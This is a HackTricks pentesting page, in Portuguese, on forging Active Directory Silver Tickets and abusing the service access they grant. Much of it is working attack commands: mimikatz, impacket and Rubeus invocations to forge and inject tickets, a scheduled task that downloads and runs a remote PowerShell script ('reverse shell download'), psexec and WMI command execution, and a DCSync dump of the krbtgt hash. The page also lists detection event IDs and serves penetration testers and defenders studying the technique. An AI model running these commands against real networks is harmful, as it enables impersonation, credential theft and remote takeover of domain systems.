hacktricks/windows-hardening/active-directory-methodology/silver-ticket.md
2024-12-12 13:56:11 +01:00

9.2 KiB

Silver Ticket

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Bug bounty tip: sign up for Intigriti, a premium bug bounty platform created by hackers, for hackers! Join us at https://go.intigriti.com/hacktricks today, and start earning bounties up to $100,000!

{% embed url="https://go.intigriti.com/hacktricks" %}

Silver ticket

O ataque Silver Ticket envolve a exploração de tickets de serviço em ambientes Active Directory (AD). Este método depende de adquirir o hash NTLM de uma conta de serviço, como uma conta de computador, para forjar um ticket de Serviço de Concessão de Ticket (TGS). Com este ticket forjado, um atacante pode acessar serviços específicos na rede, impersonando qualquer usuário, geralmente visando privilégios administrativos. É enfatizado que usar chaves AES para forjar tickets é mais seguro e menos detectável.

Para a criação de tickets, diferentes ferramentas são empregadas com base no sistema operacional:

On Linux

python ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SERVICE_PRINCIPAL_NAME> <USER>
export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass

No Windows

# Create the ticket
mimikatz.exe "kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> /rc4:<HASH> /user:<USER> /service:<SERVICE> /target:<TARGET>"

# Inject the ticket
mimikatz.exe "kerberos::ptt <TICKET_FILE>"
.\Rubeus.exe ptt /ticket:<TICKET_FILE>

# Obtain a shell
.\PsExec.exe -accepteula \\<TARGET> cmd

O serviço CIFS é destacado como um alvo comum para acessar o sistema de arquivos da vítima, mas outros serviços como HOST e RPCSS também podem ser explorados para tarefas e consultas WMI.

Serviços Disponíveis

Tipo de Serviço Serviços Silver Tickets
WMI

HOST

RPCSS

PowerShell Remoting

HOST

HTTP

Dependendo do SO também:

WSMAN

RPCSS

WinRM

HOST

HTTP

Em algumas ocasiões você pode apenas pedir: WINRM

Tarefas Agendadas HOST
Compartilhamento de Arquivos do Windows, também psexec CIFS
Operações LDAP, incluindo DCSync LDAP
Ferramentas de Administração de Servidor Remoto do Windows

RPCSS

LDAP

CIFS

Golden Tickets krbtgt

Usando Rubeus você pode pedir todos esses tickets usando o parâmetro:

  • /altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm

IDs de Evento de Silver Tickets

  • 4624: Logon de Conta
  • 4634: Logoff de Conta
  • 4672: Logon de Admin

Abusando de Tickets de Serviço

Nos exemplos a seguir, vamos imaginar que o ticket é recuperado impersonando a conta de administrador.

CIFS

Com este ticket, você poderá acessar a pasta C$ e ADMIN$ via SMB (se estiverem expostas) e copiar arquivos para uma parte do sistema de arquivos remoto apenas fazendo algo como:

dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp

Você também poderá obter um shell dentro do host ou executar comandos arbitrários usando psexec:

{% content-ref url="../lateral-movement/psexec-and-winexec.md" %} psexec-and-winexec.md {% endcontent-ref %}

HOST

Com essa permissão, você pode gerar tarefas agendadas em computadores remotos e executar comandos arbitrários:

#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
#Create scheduled task, first for exe execution, second for powershell reverse shell download
schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe"
schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
#Check it was successfully created
schtasks /query /S some.vuln.pc
#Run created schtask now
schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"

HOST + RPCSS

Com esses tickets, você pode executar WMI no sistema da vítima:

#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
#Execute code
Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand"

#You can also use wmic
wmic remote.computer.local list full /format:list

Encontre mais informações sobre wmiexec na seguinte página:

{% content-ref url="../lateral-movement/wmiexec.md" %} wmiexec.md {% endcontent-ref %}

HOST + WSMAN (WINRM)

Com acesso winrm a um computador, você pode acessá-lo e até obter um PowerShell:

New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC

Verifique a página a seguir para aprender mais maneiras de se conectar a um host remoto usando winrm:

{% content-ref url="../lateral-movement/winrm.md" %} winrm.md {% endcontent-ref %}

{% hint style="warning" %} Observe que winrm deve estar ativo e ouvindo no computador remoto para acessá-lo. {% endhint %}

LDAP

Com esse privilégio, você pode despejar o banco de dados do DC usando DCSync:

mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt

Saiba mais sobre DCSync na página a seguir:

Referências

{% content-ref url="dcsync.md" %} dcsync.md {% endcontent-ref %}

Dica de bug bounty: inscreva-se no Intigriti, uma plataforma premium de bug bounty criada por hackers, para hackers! Junte-se a nós em https://go.intigriti.com/hacktricks hoje e comece a ganhar recompensas de até $100,000!

{% embed url="https://go.intigriti.com/hacktricks" %}

{% hint style="success" %} Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}